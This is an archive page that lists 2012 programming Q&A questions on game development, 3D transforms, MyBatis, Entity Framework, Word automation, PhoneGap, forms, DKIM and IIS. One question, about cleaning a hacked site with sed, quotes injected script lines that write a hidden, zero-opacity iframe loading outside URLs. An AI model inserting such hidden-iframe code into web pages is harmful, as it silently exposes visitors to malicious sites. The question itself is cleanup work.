Daily Archives

Articles indexed Tuesday October 23 2012

Page 12/17 | < Previous Page | 8 9 10 11 12 13 14 15 16 17  | Next Page >

  • How do I deal with the problems of a fast side-scroller?

    - by Ska
    I'm making a side scrolling airplane game and when I begin going very fast I begin to experience some problems as a player: Elements are not distinguishable, like power-ups from bullets, etc I start to feel dizzy and uncomfortable There isn't enough time to see what's coming How can I sort this out? Do I use less details in all the grahpics? Tiny Wings has the same horizontal movement speed as in my game but it doesn't suffer from these problems. Are there any other really fast side-scrollers I could take as a reference?

    Read the article

  • Calculating a child object's Position, Rotation and Scale values?

    - by Sergio Plascencia
    I am making my own game editor, but have encountered the following problem: I have two objects, A and B. A's initial values: Position: (3,3,3), Rotation: (45,10,0), Scale(1,2,2.5) B's initial values: Position: (1,1,1), Rotation: (10,34,18), Scale(1.5,2,1) If I now make B a child of A, I need to re-calculate the B's Position, Rotation and Scale relative to A such that it maintains its current position, rotation and scale in world coordinates. So B's position would now be (-2, -2, -2) since now A is its center and (-2, -2, -2) will keep B in the same position. I think I got the Position and scale figured out, but not rotation. So I opened Unity and ran the same example and I noticed that when making a child object, the child object did not move at all. but had its Position, Rotation and Scale values changed relative to the parent. For example: Unity (Parent Object "A"): Position: (0,0,0) Rotation: (45,10,0) Scale: (1,1,1) Unity (Child Object "B"): Position: (0,0,0) Rotation: (0,0,0) Scale: (1,1,1) When B becomes a child of A, it's rotation values become: X: -44.13605 Y: -14.00195 Z: 9.851074 If I plug the same rotation values into the B object in my editor, the object does not move at all. How did Unity arrive at those rotation values for the child? What are the calculations? If you can put all the equations for the Position, Rotation or Scale then I can double check I am doing it correctly but the Rotation is what I really need.

    Read the article

  • 3ds Max error dialog: "Instancing not supported for this action"

    - by monsto
    "Instancing not supported for this action” is the dialog I get. My favorite part is that, according to google and yahoo, apparently i am the only person in the history of mankind to experience these words together in this order, let along get this message from Max. Thanks, autodesk, for putting this dialog in special for me! So I’ve created my model (nws) and was setting up a Skin Wrap. Selected "Face Deformation", added the base-skin for weight, checked “weight all points”. . . clicked “convert to skin” and got that dialog. My model doesn’t have a whole lot of elements to it, I had a left and right appendage that came from a base model (skyrim). so, i did a clonecopy of all 3 of my elements, just to be sure nothing was instanced… and VOILA! Same error message. the only other elements are an imported NIF mesh and skeleton. Any idea where this is coming from or how I can make it go away so that I can export my mesh?

    Read the article

  • Sqlite catalog and schema settings (for MyBatis generator)

    - by user1769754
    I have been trying to use the MyBatis generator on a Sqlite database but can't seem to find what settings to use for the XML attributes catalog and schema. The generator errors with "Generation Warnings Occured: Table configuration with catalog main, schema sqlite_master, and table testTable did not resolve to any tables" I can't find much from the sqlite website other than this which gives something like catalog = main, schema = sqlite or sqlite_master My generator XML file is <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE generatorConfiguration PUBLIC "-//mybatis.org//DTD MyBatis Generator Configuration 1.0//EN" "http://mybatis.org/dtd/mybatis-generator-config_1_0.dtd" > <generatorConfiguration > <context id="context"> <jdbcConnection driverClass="org.sqlite.JDBC" connectionURL="jdbc:sqlite:testDB.sqlite" userId="" password="" ></jdbcConnection> <javaModelGenerator targetPackage="model" targetProject="test/src" ></javaModelGenerator> <sqlMapGenerator targetPackage="model" targetProject="test/src" ></sqlMapGenerator> <javaClientGenerator targetPackage="model" targetProject="test" type="XMLMAPPER" ></javaClientGenerator> <table catalog="main" schema="sqlite_master" tableName="testTable" > <property name="useActualColumnNames" value="true"/> </table> </context> </generatorConfiguration> I have also tried other combinations like <table catalog="main" schema="sqlite" tableName="testTable" > <table schema="sqlite" tableName="testTable" > <table schema="sqlite_master" tableName="testTable" > <table schema="main.testTable" tableName="testTable" > Anyone here know the right settings?

    Read the article

  • EF 4.x generated entity classes (POCO) and Map files

    - by JBeckton
    I have an MVC 4 app that I am working on and using the code first implementation except I cheated a bit and created my database first then generated my entity classes (poco) from my database using the EF power tools (reverse engineer). I guess you can say I did database first method but I have no edmx file just the context class and my entity classes (poco) I have a few projects in the works using MVC and EF with pocos but just the one project I used the tool to generate my pocos from the database. My question is about the mapping files that get created when I generate my pocos using the tool. What is the purpose of these Map files? I figured the map files are needed when generating the db from the model like with the true code first method, in my case where I am using a tool to generate my model from the database do the map files have any influence on how my app uses the entity classes?

    Read the article

  • Fill in word form field with more than 255 characters

    - by user1308743
    I am trying to programmaticly fill in a microsoft word form. I am successfully able to do so if the string is under 255 chars with the following code below, however it says the string is too long if i try and use a string over 255 chars... How do I get past this limitation? If I open the word doc in word I can type in more than 255 chars without a problem. Does anyone know how to input more characters via c# code? object fileName = strFileName; object readOnly = false; object isVisible = true; object missing = System.Reflection.Missing.Value; //open doc _oDoc = _oWordApplic.Documents.Open(ref fileName, ref missing, ref readOnly, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref isVisible, ref missing, ref missing, ref missing, ref missing); _oDoc.Activate(); //write string _oDoc.FormFields[oBookMark].Result = value; //save and close oDoc.SaveAs(ref fileName, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing, ref missing); _oWordApplic.Application.Quit(ref missing, ref missing, ref missing);

    Read the article

  • Phonegap 2.1 for Android - Hello World App 3 errors at launch

    - by noway
    I developed something with Phonegap for iOS, but this is my first trial for Android. I created my hello world application with CLI sth like this mentioned here: $ /path/to/cordova-android/bin/create /path/to/my_new_cordova_project com.example.cordova_project_name CordovaProjectName Even though I created this app in Eclipse Workspace, I needed to import it to Eclipse. I created two AVDs. One for API level 8, one for API level 16. When I try to build, it gives me these three errors and a warning. What is wrong with my setup? Description Resource Path Location Type error: No resource identifier found for attribute 'hardwareAccelerated' in package 'android' AndroidManifest.xml /com.example.test.testprojectname line 20 Android AAPT Problem error: No resource identifier found for attribute 'xlargeScreens' in package 'android' AndroidManifest.xml /com.example.test.testprojectname line 22 Android AAPT Problem error: Error: String types not allowed (at 'configChanges' with value 'orientation|keyboardHidden|keyboard|screenSize|locale'). AndroidManifest.xml /com.example.test.testprojectname line 51 Android AAPT Problem The import android.app.Activity is never used testprojectname.java /com.example.test.testprojectname/src/com/example/test line 22 Java Problem

    Read the article

  • python modules difference: .c/.h vs. .py

    - by bijan
    I'm very new to python, as i'm embedding it (in form of a static lib) in an ios project. It's not possible for me to dynamically load python modules, so i would like to compile my modules along with python. For modules shipped with the python source this works (by modifying setup.py or Module/Setup), but when i downloaded a third party module i noticed, i don't fully understand the mechanism. The modules shipped with python come with a .c file in the Modules dir as well as a .py file in the Lib dir. My third party module just comes with .py files. 1.Why do those modules have different file extensions? 2.How to integrate a module coming with .py files in an embedded python version? Obviously pasting them in Modules/Setup does require some .c files. 3.Do these .c files have something to do with the Python C-Api? I guess i'm missing something essential :) Help is much appreciated.

    Read the article

  • Why is joining two vectors simply not working?

    - by Jim
    I have two vectors of MyObj structs. MyObj is defined as follows: struct MyObj { float x, y; unsigned int data[8]; unsigned int tmp[1]; MyObj(const MyObj &m) { x = m.x; y = m.y; tmp[0] = 0; for (int i = 0; i < 8; ++i) { data[i] = m.data[i]; } } }; I then have two vectors... vector<MyObj> v1; vector<MyObj> v2; // both get data eventually. v1.insert(v1.end(), v2.begin(), v2.end()); v2 has 3535004 elements in my experiment. v1 is similarly sized. I've also tried building a new vector and just using .push_back to build it from both vectors. Essentially, when I try to merge the two vectors I just get an error from visual studio saying "Debug error! R6010, abort() has been called". Very non-useful... So my question is: what could be causing this error, and how can I solve it? Thank you

    Read the article

  • How I can put the border on the heading in bootstrap

    - by user1769787
    <table> <tr> <td> <div class="p-head">test</div> </td> <td> </td> <td> </td> </tr> <table> I am using bootstrap and the table td is going adjusted by the width of my p-head text. the problem is if I give p-head border then it's take border on more then the width of text. How I can give border then it's only show upon the text. if I give border to p-head then it's take border on some more places.

    Read the article

  • SQL query for fetching friend list

    - by Bhavyanshu
    I need help with SQL query. I have two tables. One is users and other one is userfriends users table: aid email firstname 1 [email protected] example 2 [email protected] example2 3 [email protected] example3 4 [email protected] example4 userfriends tables: reqid email friendemail status 1 [email protected] [email protected] 1 (example1 is frnds with example2) 2 [email protected] [email protected] 2 (example2 request pending) 3 [email protected] [email protected] 1 (example1 is frnds with example3) 4 [email protected] [email protected] 1 (example1 is frnds with example4) So when status is 2 the add request is pending and at status 1 they are friends. What i want is that i want to retrieve the complete friendlist for user example1. I want to pull out names from users table for corresponding output from previous query to display as friendlist.

    Read the article

  • Why doesn't the highlighted part of the JavaScript work?

    - by Dor Cohen
    Why isn't the 'confirm password and password the same' part working? Meaning, the part that uses the 'getElementById' to adress the password and confirmpassword. Every part works but that particular part. It doesn't show a red box around the text fields. Can anyone help me? <html> <head> </head> <script> function submitinfo() { var firstname = document.getElementById("firstname").value; var lastname = document.getElementById("lastname").value; var username = document.getElementById("username").value; var password = document.getElementById("password").value; var confirmpassword = document.getElementById("confirmpassword").value; var email = document.getElementById("email").value; if(firstname !== "" && document.getElementById("firstname").style.borderColor == "red")     {     document.getElementById("firstname").style.border = "none"     } if(lastname !== "" && document.getElementById("lastname").style.borderColor == "red") { document.getElementById("lastname").style.border = "none" } if(username !== "" && document.getElementById("username").style.borderColor == "red") { document.getElementById("username").style.border = "none" } if(password !== "" && document.getElementById("password").style.borderColor == "red") { document.getElementById("password").style.border = "none" } if(confirmpassword !== "" && document.getElementById("confirmpassword").style.borderColor == "red") { document.getElementById("confirmpassword").style.border = "none" } if(email !== "" && document.getElementById("email").style.borderColor == "red") { document.getElementById("email").style.border = "none" } if(firstname == "") { document.getElementById("firstname").style.borderColor = "red"; document.getElementById("firstname").style.borderStyle = "solid"; } if(lastname == "") { document.getElementById("lastname").style.borderColor = "red"; document.getElementById("lastname").style.borderStyle = "solid"; } if(username == "") { document.getElementById("username").style.borderColor = "red"; document.getElementById("username").style.borderStyle = "solid"; } if(password == "") { document.getElementById("password").style.borderColor = "red"; document.getElementById("password").style.borderStyle = "solid"; } if(confirmpassword == "") { document.getElementById("confirmpassword").style.borderColor = "red"; document.getElementById("confirmpassword").style.borderStyle = "solid"; } if(email == "") { document.getElementById("email").style.borderColor = "red"; document.getElementById("email").style.borderStyle = "solid"; } if(password !== "" && confirmpassword !== "" && document.getElementById("password").style.border == "none" && document.getElementById("confirmpassword").style.border == "none" && password !== confirmpassword) { document.getElementById("password").style.border = "red"; document.getElementById("confirmpassword").style.border = "red"; } if(firstname && lastname && username && password && confirmpassword && email !== "") { window.open() } } </script> <h><font size=4 color=3BCCBE><b>Full Name</b></font><h/> <br> <input type="text" id="firstname" size="15px" placeholder="First"> <input type="text" id="lastname" size="15px" placeholder="Last"> <br> <br> <br> <br> <h><font size=4 color=3BCCBE><b>Choose your username</b></font></h> <br> <input type="text" id="username" size="37px"> <br> <p><font size=3 color="grey">atleast 6 characters long</font></p> <br> <h><font size=4 color=3BCCBE><b>Create a password</b></font></h> <br> <input type="password" id="password" size="37px"> <br> <br> <br> <br> <h><font size=4 color=3BCCBE><b>Confirm your password</b></font><h/> <br> <input type="password" id="confirmpassword" size="37px"> <br> <br> <br> <br> <h><font size=4 color=3BCCBE><b>Email address</b></font><h/> <br> <input type="text" id="email" size="37px"> <br> <br> <br> <br> <input type="button" value="Submit" onclick="submitinfo()" style="height:50px; width:85px; font-size:22px;> <br> </body> </html>

    Read the article

  • Ouch, how to escape this in sed? Cleaning up iframe malware

    - by user1769783
    I'm helping someone clean up a malware infection on a site and I'm having a difficult time correctly matching some strings in sed so I can create a script to mass search and replace / remove it. The strings are: <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script> <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> I cant seem to figure out how to escape the various characters in those lines... If I try to just say delete the entire line if it matches http://vidintex.com/includes/class.pop.php it also deletes the closing "" in the .html files as well. Any help would be greatly appreciated!

    Read the article

  • ArrayBlockingQueue exceeds given capacity

    - by Wojciech Reszelewski
    I've written program solving bounded producer & consumer problem. While constructing ArrayBlockingQueue I defined capacity 100. I'm using methods take and put inside threads. And I've noticed that sometimes I see put 102 times with any take's between them. Why does it happen? Producer run method: public void run() { Object e = new Object(); while(true) { try { queue.put(e); } catch (InterruptedException w) { System.out.println("Oj, nie wyszlo, nie bij"); } System.out.println("Element added"); } } Consumer run method: public void run() { while(true) { try { queue.take(); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println("Element removed"); } } Part of uniq -c on file with output: 102 Element removed 102 Element added 102 Element removed 102 Element added 102 Element removed 102 Element added 102 Element removed 102 Element added 102 Element removed 102 Element added 102 Element removed 102 Element added 2 Element removed 2 Element added 102 Element removed 102 Element added

    Read the article

  • actionscript 2.0 input text box

    - by user1769760
    So, here's what I'm trying to do, and I, frankly, believe it should be obvious, but I can't figure it out. I am creating a very simple Artificial Intelligence simulation. And in this simulation there's an input box at the bottom of the screen (called "input" exactly). "input" has a variable in its properties that is called "inbox" (exactly). Using a key listener the script calls up a function when the enter button is pressed. This function has 2 if statements and an else statement which dictate the responses of the AI (named "nistra"). The problem is this, When I type in what I want to say, and hit enter, it always uses the second response ("lockpick" in the code below). I have tried variations on the code but I still don't see the solution. I believe the problem is that the "typein" variable holds all the format information from the text box as well as the variable, but I could be wrong, that information is in here as well, underneath the code itself. Any help I can get would be greatly appreciated. var typein = ""; //copies the text from inbox into here, this is what nistra responds to var inbox = ""; //this is where the text from the input text box goes var respond = ""; //nistra's responses go here my_listener = new Object(); // key listener my_listener.onKeyDown = function() { if(Key.isDown(13)) //enter button pressed { typein = inbox; // moves inbox into typein nistraresponse(); // calles nistra's responses } //code = Key.getCode(); //trace ("Key pressed = " + code); } Key.addListener(my_listener); // key listener ends here nistraresponse = function() // nistra's responses { trace(typein); // trace out what "typein" holds if(typein = "Hello") // if you type in "Hello" { respond = "Hello, How are you?"; } if(typein = "lockpick") // if you type in "lockpick" { respond = "Affirmative"; } else // anything else { respond = "I do not understand the command, please rephrase"; } cntxtID = setInterval(clearnistra, 5000); // calls the function that clears out nistra's response box so that her responses don't just sit there } clearnistra = function() // clears her respond box { respond = ""; clearInterval(cntxtID); } // "typein" traces out the following <TEXTFORMAT LEADING="2"><P ALIGN="CENTER"><FONT FACE="Times New Roman" SIZE="20" COLOR="#FF0000" LETTERSPACING="0" KERNING="0">test</FONT></P></TEXTFORMAT>

    Read the article

  • Need to hide displayed div when I show others

    - by adrian collins
    I am stuck. I have a page with 3 buttons, the 3 buttons do a couple things - they change the style of a div, and they also show/hide a content div. The changing of the div style works fine, but I am having issues with the content div. If you land on the page and click the "Our Brands" tab, then click the other 2 tabs, it works fine. If you land on the page, and click "What's New" or "About Us" first, then the show/hide does not work correctly - it does not until you actually click on "Our Brands." http://www.adriancollins.net/clients/kennys/ Any help would be appreciated, I am a designer first, a developer about 9000th. Show/Hide Code <script type="text/javascript"> var _hidediv = null; function showdiv(id) { if(_hidediv) _hidediv(); var div = document.getElementById(id); div.style.display = 'block'; _hidediv = function () { div.style.display = 'none'; }; } </script> Tab Divs <div id="brand_button"><a href="#" onClick="showdiv('brands_content'); lower.className='blue';angle.className='blue_angle';return false"><img src="wp-content/uploads/2012/10/brands_button.png"></a></div> <div id="whatsnew_button"><a href="#" onClick="showdiv('new_content');lower.className='black';angle.className='black_angle';return false"><img src="wp-content/uploads/2012/10/whatsnew_button.png"></a></div> <div id="about_button"><a href="#" onClick="showdiv('about_content');lower.className='green';angle.className='green_angle';return false"><img src="wp-content/uploads/2012/10/about_button.png"></a></div> Content Divs <div id="brands_content">Content...</div> <div id="whats_content">Content...</div> <div id="about_content">Content...</div> CSS #brands_content { position: relative; display: block; width: 990px; top: 10px; height: auto; min-height: 800px; margin-left: auto; margin-top: 0px; margin-right: auto; border: 0px; padding: 0px 0px 0px 0px; z-index: 12; } #new_content { position: relative; display: none; width: 990px; top: 10px; height: auto; min-height: 800px; margin-left: auto; margin-top: 0px; margin-right: auto; border: 0px; padding: 0px 0px 0px 0px; z-index: 999; color: #fff; } #about_content { position: relative; display: none; width: 990px; top: 10px; height: auto; min-height: 800px; margin-left: auto; margin-top: 0px; margin-right: auto; border: 0px; padding: 0px 0px 0px 0px; z-index: 999; } Thanks

    Read the article

  • RequireHttpsAttribute and Encrypted Request Data

    - by goatshepard
    I have a controller action that is accepting sensitive data. public ActionResult TakeSensitiveData(SensitiveData data){ data.SaveSomewhere(); } To ensure the data is secure I want to be certain requests are made using HTTPS (SSLv3, TLS 1). One of the approaches I've considered using was the RequireHttpsAttribute on my action: [RequireHttps] public ActionResult TakeSensitiveData(SensitiveData data){ data.SaveSomewhere(); } However, upon testing this I fiddler revealed that an HTTP request made to the action is 302 redirected to HTTPS. My question is this: If I've made a request that is 302 redirected to HTTPS haven't I already sent the sensitive data over HTTP before the redirect?

    Read the article

  • Can't append to array using string field name [$] when performing update on array fields

    - by Haraldo
    rowsI am attempting to perform a mongodb update on each field in an array of records. An example schema is below: { "_id" : ObjectId("508710f16dc636ec07000022"), "summary" : "", "uid" : "ABCDEF", "username" : "bigcheese", "name" : "Name of this document", "status_id" : 0, "rows" : [ { "score" : 12, "status_id" : 0, "uid" : 1 }, { "score" : 51, "status_id" : 0, "uid" : 2 } ] } So far I have been able to perform single updates like this: db.mycollection.update({"uid":"ABCDEF","rows.uid":1}, {$set:{"rows.$.status_id":1}},false,false) However, I am struggling as to how to perform an update that will update all array records to a status_id of 1 (for instance). Below is how I imagine it should work: db.mycollection.update({"uid":"ABCDEF"}, {$set:{"rows.$.status_id":1}},false,true) However I get the error: can't append to array using string field name [$] I have tried for quite a while with no luck. Any pointers?

    Read the article

  • HTML columns or rows for form layout?

    - by Valera
    I'm building a bunch of forms that have labels and corresponding fields (input element or more complex elements). Labels go on the left, fields go on the right. Labels in a given form should all be a specific width so that the fields all line up vertically. There are two ways (maybe more?) of achieving this: Rows: Float each label and each field left. Put each label and field in a field-row div/container. Set label width to some specific number. With this approach labels on different forms will have different widths, because they'll depend on the width of the text in the longest label. Columns: Put all labels in one div/container that's floated left, put all fields in another floated left container with padding-left set. This way the labels and even the label container don't need to have their widths set, because the column layout and the padding-left will uniformly take care of vertically lining up all the fields. So approach #2 seems to be easier to implement (because the widths don't need to be set all the time), but I think it's also less object oriented, because a label and a field that goes with that label are not grouped together, as they are in approach #1. Also, if building forms dynamically, approach #2 doesn't work as well with functions like addRow(label, field), since it would have to know about the label and the field containers, instead of just creating/adding one field-row element. Which approach do you think is better? Is there another, better approach than these two?

    Read the article

  • UIVIewController not released when view is dismissed

    - by Nelson Ko
    I have a main view, mainWindow, which presents a couple of buttons. Both buttons create a new UIViewController (mapViewController), but one will start a game and the other will resume it. Both buttons are linked via StoryBoard to the same View. They are segued to modal views as I'm not using the NavigationController. So in a typical game, if a person starts a game, but then goes back to the main menu, he triggers: [self dismissViewControllerAnimated:YES completion:nil ]; to return to the main menu. I would assume the view controller is released at this point. The user resumes the game with the second button by opening another instance of mapViewController. What is happening, tho, is some touch events will trigger methods on the original instance (and write status updates to them - therefore invisible to the current view). When I put a breakpoint in the mapViewController code, I can see the instance will be one or the other (one of which should be released). I have tried putting a delegate to the mainWindow clearing the view: [self.delegate clearMapView]; where in the mainWindow - (void) clearMapView{ gameWindow = nil; } I have also tried self.view=nil; in the mapViewController. The mapViewController code contains MVC code, where the model is static. I wonder if this may prevent ARC from releasing the view. The model.m contains: static CanShieldModel *sharedInstance; + (CanShieldModel *) sharedModel { @synchronized(self) { if (!sharedInstance) sharedInstance = [[CanShieldModel alloc] init]; return sharedInstance; } return sharedInstance; } Another post which may have a lead, but so far not successful, is UIViewController not being released when popped I have in ViewDidLoad: // checks to see if app goes inactive - saves. [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(resignActive) name:UIApplicationWillResignActiveNotification object:nil]; with the corresponding in ViewDidUnload: [[NSNotificationCenter defaultCenter] removeObserver:self name:UIApplicationWillResignActiveNotification object:nil]; Does anyone have any suggestions? EDIT: - (void) prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender{ NSString *identifier = segue.identifier; if ([identifier isEqualToString: @"Start Game"]){ gameWindow = (ViewController *)[segue destinationViewController]; gameWindow.newgame=-1; gameWindow.delegate = self; } else if ([identifier isEqualToString: @"Resume Game"]){ gameWindow = (ViewController *)[segue destinationViewController]; gameWindow.newgame=0; gameWindow.delegate = self;

    Read the article

  • How to get "Friends who like/play games" list (similar to Farmville 2)

    - by FBAppDev
    I'm working on a Facebook app, and I'm trying to get a friends list similar to Farmville 2. They have a "friends who like games" list. My first thought is, I can get a list of all friends, then for each friend, see if they like any pages with type == "GAMES/TOYS". But ideally, I would like to get the list in one query (not by making one graph API or FQL request per friend). Is this possible, and if so, how?

    Read the article

  • Trouble creating a SQL query

    - by JoBu1324
    I've been thinking about how to compose this SQL query for a while now, but after thinking about it for a few hours I thought I'd ask the SO community to see if they have any ideas. Here is a mock up of the relevant portion of the tables: contracts id date ar (yes/no) term payments contract_id payment_date The object of the query is to determine, per month, how many payments we expect, vs how many payments we received. conditions for expecting a payment Expected payments begin on contracts.term months after contracts.date, if contracts.ar is "yes". Payments continue to be expected until the month after the first missed payment. There is one other complication to this: payments might be late, but they need to show up as if they were paid on the date expected. The data is all there, but I've been having trouble wrapping my head around the SQL query. I am not an SQL guru - I merely have a decent amount of experience handling simpler queries. I'd like to avoid filtering the results in code, if possible - but without your help that may be what I have to do. Expected Output Month Expected Payments Received Payments January 500 450 February 498 478 March 234 211 April 987 789 ... SQL Fiddle I've created an SQL Fiddle: http://sqlfiddle.com/#!2/a2c3f/2

    Read the article

  • Quick way to get an NSDictionary from an XML NSData representation?

    - by dontWatchMyProfile
    I've loaded an XML file as NSData into memory and parse over the elements using NSXMLParser. Although it works, it's a very ugly and hard to maintain code since there are about 150 different elements to parse. I know there are nice third-party solutions, but I want to keep it with the iPhone SDK for purpose of practice and fun. So I thought: Why not convert that XML file into an NSDictionary? Having this, I could use fast enumeration to go over the elements. Or is it just the same amount of ugly code needed to parse and process an XML right away with NSXMLParser? Would I build up an NSDictionary for every found node in the XML and create a huge one, containing the whole structure and data? Or is there an even simpler way?

    Read the article

  • Exim: How to turn off DKIM for forwarded mail?

    - by Andrew
    I have DKIM configured in Exim for outgoing mail, as per the documentation. Exim signs all outgoing mail. But some of that outgoing mail is forwarded, thanks to a users .forward file. This is a problem for me, because some of those messages are spam (my exim configuration does not do any verification) and I don't want to take responsibility for them. But I can't figure out how to configure Exim not to sign these messages. My configuration is basically the Debian Squeeze default, with a few DKIM_* macros set. I can post more details, but I think seeing any example of conditional DKIM signing would set me right.

    Read the article

  • How to Configure IIS 7.5 to Host Several Classic ASP Sites using 1 IP Address?

    - by SidC
    We are running Windows Server 2008 R2 with IIS 7.5 and have 4-5 Classic ASP sites to install. The main site is stored in wwwroot and the other sites are stored in folders below wwwroot. We have 1 IP address for the server. How do I configure IIS to allow folks to browse/test the sites before domain names are pointed to te server? When I setup one of the sites in a subfolder of wwwroot and assign a separate port to it, I receive a message stating: Config Error Cannot add duplicate collection entry of type 'add' with unique key attribute 'value' set to 'index.asp' How do I remedy this error and permit IIS to render the site?

    Read the article

< Previous Page | 8 9 10 11 12 13 14 15 16 17  | Next Page >